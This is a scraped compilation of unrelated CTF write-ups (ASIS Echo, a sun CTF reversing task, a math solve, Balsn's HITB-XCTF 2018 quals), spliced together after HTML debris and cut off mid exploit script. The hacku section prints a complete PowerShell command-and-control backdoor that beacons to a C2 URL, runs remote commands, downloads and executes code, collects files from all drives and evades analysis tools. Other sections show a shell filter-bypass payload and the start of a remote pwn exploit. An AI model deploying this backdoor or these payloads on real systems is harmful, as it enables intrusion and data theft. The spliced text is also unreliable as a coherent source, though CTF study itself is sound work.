top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
[full writeup](https://ctf.hgar.xyz/2018/uiuctf/galactic-brainfuck/) The stack machine process the input flag character by character and is vulnerable to a timing attack.
> Echo> > The simplest [echo](https://0xd13a.github.io/ctfs/asis2018/echo/echo.tar.xz) in the world.>> Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)} The executable requires a command line parameter: ```$ ./EchoMissing argument``` Quick look inside reveals the needed argument. When it is specified the executable echoes back everything we enter: ```$ ./Echo GIVEMEFLAGaabbabcabc``` Let's analyze the code more closely and debug. First, notice that an encoded flag blob is built in memory on the fly: ```....text:000055A06C699DC2 mov [rbp+var_274A], 15h.text:000055A06C699DC9 mov [rbp+var_2749], 0F3h.text:000055A06C699DD0 mov [rbp+var_2748], 1.text:000055A06C699DD7 mov [rbp+var_2747], 0EBh.text:000055A06C699DDE mov [rbp+var_2746], 0CEh.text:000055A06C699DE5 mov [rbp+var_2745], 0C5h.text:000055A06C699DEC mov [rbp+var_2744], 0Dh.text:000055A06C699DF3 mov [rbp+var_2743], 0C6h.text:000055A06C699DFA mov [rbp+var_2742], 0C7h.text:000055A06C699E01 mov [rbp+var_2741], 0C1h.text:000055A06C699E08 mov [rbp+var_2740], 0CBh.text:000055A06C699E0F mov [rbp+var_273F], 0F4h.text:000055A06C699E16 mov [rbp+var_273E], 0D8h.text:000055A06C699E1D mov [rbp+var_273D], 0C2h.text:000055A06C699E24 mov [rbp+var_273C], 0DBh.text:000055A06C699E2B mov [rbp+var_273B], 0F6h.text:000055A06C699E32 mov [rbp+var_273A], 0C6h.text:000055A06C699E39 mov [rbp+var_2739], 0BFh.text:000055A06C699E40 mov [rbp+var_2738], 0FEh.text:000055A06C699E47 mov [rbp+var_2737], 0FFh.text:000055A06C699E4E mov [rbp+var_2736], 12h.text:000055A06C699E55 mov [rbp+var_2735], 0Ch.text:000055A06C699E5C mov [rbp+var_2734], 0EAh.text:000055A06C699E63 mov [rbp+var_2733], 0F8h.text:000055A06C699E6A mov [rbp+var_2732], 0F9h.text:000055A06C699E71 mov [rbp+var_2731], 11h.text:000055A06C699E78 mov [rbp+var_274E], 66h ; 'f'.text:000055A06C699E7F mov [rbp+var_274D], 6Ch ; 'l'.text:000055A06C699E86 mov [rbp+var_274C], 61h ; 'a'.text:000055A06C699E8D mov [rbp+var_274B], 67h ; 'g'...``` ```00007FFDA51FDD10 00 00 66 6C 61 67 15 F3 01 EB CE C5 0D C6 C7 C1 ..flag..........00007FFDA51FDD20 CB F4 D8 C2 DB F6 C6 BF FE FF 12 0C EA F8 F9 11 ......? ........``` As the program runs, function ```sub_55AE72994970``` generates a sequence of characters that turns out to be [Brainf*ck](https://en.wikipedia.org/wiki/Brainfuck) code. It is then executed by a simple embedded interpreter: ```>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<,[.,]``` The last sequence in the script is what produces the echo behavior in a loop - ```[.,]```. When the Brainf*ck code is executed one would expect the flag to be revealed but instead it's cleared out competely: ```00007FFDA51FDD10 00 00 66 6C 61 67 7B 00 00 00 00 00 00 00 00 00 ..flag{.........00007FFDA51FDD20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................``` It turns out that the repeated sequence ```>[+]``` in the script clears the flag contents (it essentilly means ```"shift to the right and increment the value in a loop until you hit 0"```). Once we replace that sequence with ```>>>>``` and re-execute we can capture the true flag contents: ```00 00 66 6C 61 67 7B 5F 62 52 34 31 6E 2D 2D 2D ..flag{_bR41n---2C 5B 3E 2E 3C 5D 2C 2B 5F 66 78 78 4B 5F 5F 7D ,[>.<],+_fxxK__}``` The final flag is the SHA1 of the string that we found: ```ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}```.
Binary is interpreting input string as a sequence of 15 two digit decimal numbers. Variable X is set to 0, after that each number determines next operation to be done with X. For example, operation 01 makes `X += 0x58335249`. After 15 operations `abs(X)` should be `0x6F2E255A`. If we look closely to numbers used in operations, we'll see that they are in fact ASCII codes. In said operation 01 `0x58335249` is ASCII string `X3RI`, which is actually a Base64 encoded string `_tH`. All strings are `['0ys', '3_B', '3_y', '4rD', 'A_b', 'R1n', '_ID', '_Th', '_t0', '_tH', 'a11', 'gS_', 'sun', '{mY', '}']`. We definitely see the word `sun` and curly braces, so it seems that we need to arrange these parts properly to get the flag. Brute-forcing order of operations is hard. What if we can arrange parts directly, just by meaning? This it exactly what we've done. After a bit of trying different approaches we came to this simple function that just tries to add each part to prefix:``` pythondef try_all(prefix): parts = ['0ys', '3_B', '3_y', '4rD', 'A_b', 'R1n', '_ID', '_Th', '_t0', '_tH', 'a11', 'gS_', 'sun', '{mY', '}'] for part in parts: if part not in prefix: print(prefix + part)```Example output:```>>> try_all('sun{mY_ID')sun{mY_ID0yssun{mY_ID3_Bsun{mY_ID3_ysun{mY_ID4rDsun{mY_IDA_bsun{mY_IDR1nsun{mY_ID_Thsun{mY_ID_t0sun{mY_ID_tHsun{mY_IDa11sun{mY_IDgS_sun{mY_ID}``` Using this approach we got flag from parts in a minute, `sun{mY_IDA_bR1ngS_a11_Th3_B0ys_t0_tH3_y4rD}` (or `sun{mY_IDA_bR1ngS_a11_tH3_B0ys_t0_Th3_y4rD}`, I don't really remember).
(We just skip the brute force at the beginning). Simply, it need you find the most minimum `r` meet the requirements. ```# for all k >=2 and k <= ceil(log(n,2))r >= 0 and r == n - pow(ceil(pow(n,1/k), k)``` So it's only a iteration. It's easy. But when you calculate `pow(n, 1/k)` in python, it says the n is too large to converting to a float number. Emmm.... It seems that python try to pass the calling to some c library, which only support a float/double number. So we have to calculate this by ourselves. In python, big number is supported. We can use [Newton Method](https://en.wikipedia.org/wiki/Newton%27s_method), which is a classical ` root-finding algorithm`. like this. ```def my_find_root(n, k): x = 2 ** int(math.ceil(math.log(n, 2)/k)) y = ((k-1)*x + n / x ** (k-1)) / k while y < x: x = y y = ((k-1)*x + n / x ** (k-1)) / k return x ``` So we can make our iteration. ```def solve(n): result = None i = 2 while True: x = my_find_root(n, i) r = n - x ** i if result == None or result >= r: result = r if x == 2: break i += 1 return result``` so `solve(n)` is the result.
# HITB-XCTF GSEC CTF 2018 Quals **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180411-hitbxctfqual/) of this writeup.** - [HITB-XCTF GSEC CTF 2018 Quals](#hitb-xctf-gsec-ctf-2018-quals) - [rev](#rev) - [hacku (sces60107)](#hacku-sces60107) - [sdsun (sces60107 sasdf)](#sdsun-sces60107-sasdf) - [hex (sasdf)](#hex-sasdf) - [First try](#first-try) - [Second try](#second-try) - [misc](#misc) - [tpyx (sces60107)](#tpyx-sces60107) - [readfile (sces60107)](#readfile-sces60107) - [pix (sces60107)](#pix-sces60107) - [pwn](#pwn) - [once (kevin47)](#once-kevin47) - [Vulnerability](#vulnerability) - [Exploit](#exploit) - [gundam (kevin47)](#gundam-kevin47) - [Overview](#overview) - [Vulnerability](#vulnerability-1) - [Leak](#leak) - [Exploit](#exploit-1) - [d (kevin47)](#d-kevin47) - [Overview](#overview-1) - [Vulnerability](#vulnerability-2) - [Exploit](#exploit-2) - [babypwn (how2hack)](#babypwn-how2hack) - [Vulnerability](#vulnerability-3) - [Solution](#solution) - [Exploit](#exploit-3) - [web](#web) - [Upload (bookgin)](#upload-bookgin) - [Find the target](#find-the-target) - [Brute force the path and RCE](#brute-force-the-path-and-rce) - [Python's revenge (sasdf)](#pythons-revenge-sasdf) - [Payload](#payload) - [PHP lover (bookgin & sces60107)](#php-lover-bookgin--sces60107) - [Possible SQL injection](#possible-sql-injection) - [Bypass WAFs](#bypass-wafs) - [Email format regex check](#email-format-regex-check) - [Hacker Filter](#hacker-filter) - [Get the flag](#get-the-flag) - [baby baby (bookgin)](#baby-baby-bookgin) - [Recon](#recon) - [RCE](#rce) - [baby nya (bookgin)](#baby-nya-bookgin) - [Exposed Jserv protocol](#exposed-jserv-protocol) - [Exploit the jolokia](#exploit-the-jolokia) - [baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)](#baby-fs-unsolved-written-by-bookgin-thanks-to-the-organizer-qq-group) - [3pigs (unsolved, written by how2hack)](#3pigs-unsolved-written-by-how2hack) - [Hint](#hint) - [Web Challenge? WutFace](#web-challenge-wutface) - [First stage (Misc)](#first-stage-misc) - [Python Format String Vulnerability](#python-format-string-vulnerability) - [Second stage (Pwn)](#second-stage-pwn) - [Vulnerability](#vulnerability-4) - [Solution...?](#solution-1) - [crypto](#crypto) - [easy_block (sasdf)](#easy_block-sasdf) - [Vulnerability](#vulnerability-5) - [Construct payload](#construct-payload) - [Construct hash](#construct-hash) - [easy_pub (sasdf)](#easy_pub-sasdf) - [streamgamex (sasdf)](#streamgamex-sasdf) - [base (how2hack)](#base-how2hack) - [mobile](#mobile) - [kivy simple (sces60107)](#kivy-simple-sces60107) - [multicheck (sasdf)](#multicheck-sasdf) ## rev ### hacku (sces60107) In this challenge give us two file. A pcap file and a chm file. The chm file is useless. The pcap file has a large size, because it is downloading windows update file. After some digging, I found the dns query is interesting. we can extract some base64 string. And I found a script after base64 decoding.```ps1=$GET_FILE = 'get-fle' $DOWN_EXEC = 'dow-exe'$RUN_CMD = 'run-cmd' $GET_REG = 'get-reg'$GET_TASK = 'get-tak'$GET_UPDATE = 'get-upd'$GET_REP = 'get-rep' $STATUS_INIT = 0x0000$STATUS_REGED = 0x8000$STATUS_TASK = $STATUS_REGED -bor 0x1$STATUS_PADD = $STATUS_REGED -bor 0x2 $url = 'http://192.168.99.234/cc/cc.php'$status = $STATUS_INIT$task = $null$running = $True $pubk = (1501,377753) function get-Md5Hash($str){ $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str))) return $hash -replace '-'} function get-ComputeName{ try { return (Get-WmiObject Win32_ComputerSystem).Name; } catch { return "ErrComputeName"; }} function get-clientID{ try { $did = (wmic diskdrive get SerialNumber) $cid = get-Md5Hash $did return $cid } catch { $CompName = get-ComputeName return get-Md5Hash $CompName }}function Reg-Info{ $clientID = get-clientID $time = Get-Date $c = $GET_REG return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function get-Task{ $clientID = get-clientID $time = Get-Date $c = $GET_TASK return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function EttRRRRRRhd ( $tid , $taskinfo ){ $clientID = get-clientID $time = Get-Date $c = $GET_REP return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} | ConvertTo-Json} function check_VM(){ $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver") for ($i=0; $i -lt $p.length; $i++) { if(ps -name $p[$i] -ErrorAction SilentlyContinue){ shutdown /s /f /t 0 exit } }} function YTRKLJHBKJHJHGV($msg){ while($True) { try { $content = $msg $webRq = [System.Net.WebRequest]::Create($url) $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy() $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials # $content = YNHGFOI8YIUGH $content # $content = OPKE3989hYYY $pubk $content # # $content = YNHGFOI8YIUGH $content $enc = [System.Text.Encoding]::UTF8.GetBytes($content) # $webRq.Method = 'POST' $webRq.ContentLength = $enc.length if ($enc.length -gt 0) { $req_stream = $webRq.GetRequestStream() $req_stream.Write($enc , 0 , $enc.length) } [System.Net.WebResponse] $rep = $webRq.GetResponse() if ($rep -ne $null) { $data = $rep.GetResponseStream() [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data [String] $result = $res_d.ReadToEnd() } } catch { $result = 'err' # } if ($result -eq 'err') { } else { return $result } }} function POIUIGKJNBYFF($msg){ $msg = OKMNHGGGGSSAAA $pubk $msg $msg = ConvertFrom-Json -InputObject $msg return $msg.r,$msg.e} function YNHGFOI8YIUGH( $str ){ return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))} function VCDHJIIDDSQQQ( $b64 ){ return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))} function POPOUIUJKKKI($file){ return YNHGFOI8YIUGH (Get-Content $file)} function MJOOLLFGFASA($name){ $filelist = @() $result = @{} for ($i = 0x43 ; $i -lt 0x5b; ++ $i) { try { $dc = '{0}:/' -f ([char]$i) $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName} if ($file.length -gt 0) { $filelist += $file } } catch { continue } } $result.ct = $filelist.length $result.dt = @() foreach( $f in $filelist) { $fd = POPOUIUJKKKI $f $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd} } return ConvertTo-Json -InputObject $result } function DXCFGIOUUGKJB764($x, $h, $n){ $y = 1 while( $h -gt 0 ) { if ( ( $h % 2 ) -eq 0) { $x = ($x * $x) % $n $h = $h / 2 }else { $y = ($x * $y) % $n $h = $h - 1 } } return $y} function OPKE3989hYYY($pk , $plaintext){ $key , $n = $pk $arr = @() for ($i = 0 ; $i -lt $plaintext.length ; $i++) { $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n $arr += $x } return $arr}function OKMNHGGGGSSAAA($pk,$enctext){ $key , $n = $pk $txt = "" $enctext = VCDHJIIDDSQQQ $enctext [int[]]$enctab = $enctext -split ' ' foreach ($x in $enctab) { if ($x -eq 0) { continue } $x = DXCFGIOUUGKJB764 $x $key $n $txt += [char][int]$x } $txt = VCDHJIIDDSQQQ($txt) return $txt} function UIHIUHGUYGOIJOIHGIHGIH($cmd){ $cmd = ConvertFrom-Json -InputObject $cmd $c = $cmd.c $i = $cmd.i $e = $cmd.e $x = $cmd.x # # if ($c -eq $GET_FILE) { $d = MJOOLLFGFASA $e } elseif ($c -eq $RUN_CMD) { $d = Invoke-Expression $e -ErrorAction SilentlyContinue } elseif ($c -eq $DOWN_EXEC) { $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue }return @($i , $d)} $MuName = 'Global\_94_HACK_U_HAHAHAHAHA'$retFlag = $flase$Result = $True $MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)if ($retFlag){ $Result = $True}else{ $Result = $False} if ($Result){ while($True -and $running) { if($status -eq $STATUS_INIT) { $OO0O0O0O00 = Reg-Info $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes' -and $e -eq 'ok_then_u_go') { $status = $STATUS_PADD } } if ($status -eq $STATUS_PADD) { $OO0O0O0O00 = get-Task $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $task = $e $status = $STATUS_TASK } } if ($status -eq $STATUS_TASK) { # $ret = UIHIUHGUYGOIJOIHGIHGIH($task) $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1] $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $status = $STATUS_PADD $task = $null } } sleep 3 } $MyMutexObj.ReleaseMutex() | Out-Null $MyMutexObj.Dispose() | Out-Null}else{ }``` They use `rsa` to encrypt message. the n is easy to factor. Still, we can find out the encrypted message from pcap file. We also extract two things from those message. The first one is a rar file, the second is a ps1 script. We cannot open the rar file. After a few hour, the host change the challenge. Now we have flag part1 instead of rar file. The flag part1 is `HITBXCTF{W0rk_1n_th3_dark_` Let's see the ps1 script. It actually generate a exe file at the temp directory. Then, we can reverse that exe file. I found out that it's trying to write something on MBR. The final step is reversing what it write on MBR. It's 80286 architecture. Now we just need decode the encryted flag part2.```python=ciphertext='%\xa19\x89\xa6\x9d\xd5\xa5u\x8dJ\x92\xf1Y^\x91'def ror(a,b): return (a>>b)|(a<<(8-b))def rol(a,b): return (a<<b)|(a>>(8-b))flag=""table=[]#maintain a tablefor j in range(256): x=j x=ror(x,3)%256 x^=0x74 x=rol(x,5)%256 x+=0x47 x%=256 if(x%2==0): teble.append(x-1) else: table.append(x+1)for i in ciphertext: flag+=chr(table.index(ord(i)))print flag``` ### sdsun (sces60107 sasdf) The first thing you will notice is that the binary is packed by upx. The way I unpack the binary is using gdb. I let the binary exectue for a while. It will be unpacked in the memory. So I can dump the whole memory in gdb. Now I have the unpacked binary. but it is hard to understand it. I found some feature indicating that this binary is written in Go language. Then I use this [script](https://gitlab.com/zaytsevgu/goutils/blob/master/go_renamer.py) to recover the symbol. It will be much easier to understand this binary.![](https://i.imgur.com/ysBuyUy.png) It seems like there is a backdoor. This binary will listen to a random port. And it will output the port number. The communication with the backdoor is compressed. and it use zlib. Also, the communication format is json. The backdoor will give you flag if your command is `{"action":"GetFlag"}`. We found this rule in `main.Process`![](https://i.imgur.com/w487Voi.png) Now we have the flag `HITB{4e773ff1406800017933c9a1c9f14f35}` ### hex (sasdf)A arduino challenge, data is in intelhex format. I use helper script `hex2bin.py` from intexHex python library to generate binary. #### First tryLoaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)```asmldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xffaldi r22, 0xf4ldi r23, 0x01ldi r24, 0x00ldi r25, 0x00call 0xbdaldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xf62ldi r22, 0x88ldi r23, 0x13ldi r24, 0x00ldi r25, 0x00call 0xbda```I dumped all `XX` bytes in previous pattern but didn't figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile `fcn.ffa` to following (wrong) psuedo code:```pythonr26 = 0x77if r22 >= 136: r31 = 0 r30 = r22 & 0x7f mem[0x77+4] |= (1 << r30) r22 = 0else: r22 + 0x78 if r22 not in mem[0x77+6:0x77+0xc]: # six slots try: slot = mem[0x77+6:0x77+0xc].index(0) except: mem[0x77+3] = 0 mem[0x77+2] = 1 return mem[0x77+6+slot] = r22 fcn_e7e()```I gave up. #### Second tryAfter the third hint `Keyboard` is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here's source code from Arduino's Keyboard library:```C++size_t Keyboard_::press(uint8_t k) { uint8_t i; if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } else if (k >= 128) { // it's a modifier key _keyReport.modifiers |= (1<<(k-128)); k = 0; } else { // it's a printing key k = pgm_read_byte(_asciimap + k); if (!k) { setWriteError(); return 0; } if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1;}```Ahh, `fcn.ffa` is `Keyboard::_press`!! It turns out that `fcn.f62` is `Keyboard::_release` and `fcn.bda`, which use timer register `TCNT0`, is `delay`. Take our previous dump of parameters, convert it to keystroke, and the flag shows up.``` $##&:|#| !##| ;&&&&&&$# #$##@|. `%##@; :@#$` |#| |#| ;#%. !#! .%#| #&#! |#| #&@: :#%. ;#####|.|#| .|####$` #&###|!@%. ;#| |#; |#! :@$` ;#%.`:@%. |#! |#| `. :@$` ;#&# .%#%. !#| .%##@&##@# :&#! ;#%. :@$` #&$` |#! |#| `%#####&#.%#!#####;#%`!#@; ;#$` ;##! ;#$` ;#%.` $#$` |#! |#| .%#@%&@#&# |####&&#%. ;#| !##@@##%` :@#######$. `$##@##! @%.``` P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed. ## misc ### tpyx (sces60107) The png file is broken. It seems like We need to fix it first.`pngcheck` tell us that it has crc checksum error```shell$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes) chunk IHDR at offset 0x0000c, length 13 1024 x 653 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 1162839 zlib: deflated, 32K window, default compression CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png``` When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839 After corrected all faults, just use `zsteg` to detect any interesting things and also extract them.```shell$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4efextradata:imagedata .. file: zlib compressed data......$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data$ cat data377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d$ cat data | xxd -r -p > data$ file datadata.7z: 7-zip archive data, version 0.3 ```Now we have a 7z file, but we need password.The 7z file is actually appended with the password.```shell$ xxd data00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000 7z..'.....l.0...00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440 ....s.......<.$@00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a .B......#a..o...00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad ..03Lh.G.8>KrF..00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a .F....,.....*iRz00000050: 0104 0600 0109 3000 070b 0100 0224 06f1 ......0......$..00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301 ...S..z...Z.v#..00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01 ..].......,'....00000080: c35b 9330 0000 0501 110b 0066 006c 0061 .[.0.......f.l.a00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1 .g.........K.W..000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01 .......i.f......000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000 .....c..........000000c0: 0000 0018 0034 5172 634f 556d 3657 6175 .....4QrcOUm6Wau000000d0: 2b56 7542 5838 672b 4950 673d 3d +VuBX8g+IPg==$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==..Extracting flag..$ cat flagHITB{0c88d56694c2fb3bcc416e122c1072eb}``` ### readfile (sces60107) It seems like the non-punctuation letter will be filtered. So I try to readfile with `Arithmetic expansion` The payload is `$(</????/????_??_????/*)` Then we can read the flag `HITB{d7dc2f3c59291946abc768d74367ec31}` ### pix (sces60107) Use `zsteg` to extract a keepassX database file ```shell$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGateimagedata .. text: " !#865 "b1,r,msb,xy .. text: "y5b@2~2t"b1,rgb,lsb,xy .. file: Keepass password database 2.x KDBXb2,r,msb,xy .. text: "\rP`I$X7D"b2,bgr,lsb,xy .. text: "b;d'8H~M"b4,g,msb,xy .. text: ";pTr73& dvG:"$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy > keedatabase.kbdx``` Now we have to launch a dictionary attack against this database. then I found [this](https://www.rubydevices.com.au/blog/how-to-hack-keepass) Finally, I found the password and also found the flag found the flag from the database. The flag is `HITB{p1x_aNd_k33pass}` ## pwn ### once (kevin47) #### Vulnerability* Fd and bk of the link list can be overwritten #### Exploit```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('47.75.189.102', 9999)lib = ELF('./libc-2.23.so') # leakr.sendline('0')r.recvuntil('choice\n')x 